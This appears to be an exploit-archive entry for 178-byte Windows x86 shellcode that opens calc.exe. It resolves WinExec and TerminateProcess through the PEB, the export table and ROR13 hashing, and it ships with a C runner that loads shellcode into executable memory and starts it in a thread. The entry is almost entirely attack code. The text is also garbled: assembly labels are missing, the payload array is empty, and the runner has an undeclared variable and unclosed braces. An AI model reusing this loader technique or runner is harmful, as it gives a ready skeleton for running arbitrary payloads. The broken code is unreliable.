Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes)

ID: 104810
CVE: None
Download vulnerable application: None

; Description: 

; This is a shellcode that pop a calc.exe. The shellcode iuses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table
; to locate symbols. Also the shellcode uses a hash function to gather dynamically the required 
; symbols without worry about the length. Finally the shellcode pop the calc.exe using WinExec 
; and exits gracefully using TerminateProcess. 

; Author: h4pp1n3ss
; Date: Wed 09/22/2021
; Tested on: Microsoft Windows [Version 10.0.19042.1237]


   mov   ebp, esp                  ;     prologue
   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering 

   xor   ecx, ecx                  ;     ECX = 0
   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])
   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr
   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder

   mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address
   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name
   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)
   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?
   jne   next_module               ;     No: try next module

   jmp find_function_shorten_bnc   ;     Short jump

   pop esi                         ;     POP the return address from the stack
   mov   [ebp+0x04], esi           ;     Save find_function address for later usage
   jmp resolve_symbols_kernel32    ;  

   call find_function_ret          ;     Relative CALL with negative offset

   pushad                          ;     Save all registers

   mov   eax, [ebx+0x3c]           ;     Offset to PE Signature
   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA
   add   edi, ebx                  ;     Export Table Directory VMA
   mov   ecx, [edi+0x18]           ;     NumberOfNames
   mov   eax, [edi+0x20]           ;     AddressOfNames RVA
   add   eax, ebx                  ;     AddressOfNames VMA
   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later

   jecxz find_function_finished    ;     Jump to the end if ECX is 0
   dec   ecx                       ;     Decrement our names counter
   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA
   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name
   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name

   xor   eax, eax                  ;     NULL EAX
   cdq                             ;     NULL EDX
   cld                             ;     Clear direction

   lodsb                           ;     Load the next byte from esi into al
   test  al, al                    ;     Check for NULL terminator
   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term
   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right
   add   edx, eax                  ;     Add the new byte to the accumulator
   jmp   compute_hash_again        ;     Next iteration


   cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash
   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop
   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA
   add   edx, ebx                  ;     AddressOfNameOrdinals VMA
   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal
   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA
   add   edx, ebx                  ;     AddressOfFunctions VMA
   mov   eax, [edx+4*ecx]          ;     Get the function RVA
   add   eax, ebx                  ;     Get the function VMA
   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad

   popad                           ;     Restore registers
   ret                             ;  

  push 0xe8afe98                  ;     WinExec hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage
  push 0x78b5b983                 ;     TerminateProcess hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage

  xor eax, eax                   ;      EAX = null
  push eax                       ;      Push null-terminated string
  push dword 0x6578652e		       ;          
  push dword 0x636c6163          ;     
  push esp                       ;      ESP = &(lpCmdLine)
  pop  ebx                       ;      EBX save pointer to string 

 ; UINT WinExec(
 ; LPCSTR lpCmdLine, -> EBX
 ; UINT   uCmdShow 	 -> EAX
 ; );

	xor eax, eax                   ;    EAX = null
	push eax                       ;    uCmdShow
	push ebx                       ;    lpCmdLine
	call dword ptr [ebp+0x10]      ;    Call WinExec

 ; BOOL TerminateProcess(
 ; HANDLE hProcess,	 -> 0xffffffff
 ; UINT   uExitCode	 -> EAX
 ; );

	xor eax, eax                   ;    EAX = null
	push eax                       ;    uExitCode
	push 0xffffffff                ;    hProcess
	call dword ptr [ebp+0x14]      ;    Call TerminateProcess

[!]===================================== POC ========================================= [!]


 Shellcode runner author: reenz0h (twitter: @sektor7net)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Our WinExec PopCalc shellcode

unsigned char payload[] = 

unsigned int payload_len = 178;

int main(void) {
	void * exec_mem;
	BOOL rv;
  DWORD oldprotect = 0;

	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me!\n");
  printf("Shellcode Length:  %d\n", strlen(payload));

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);

	return 0;
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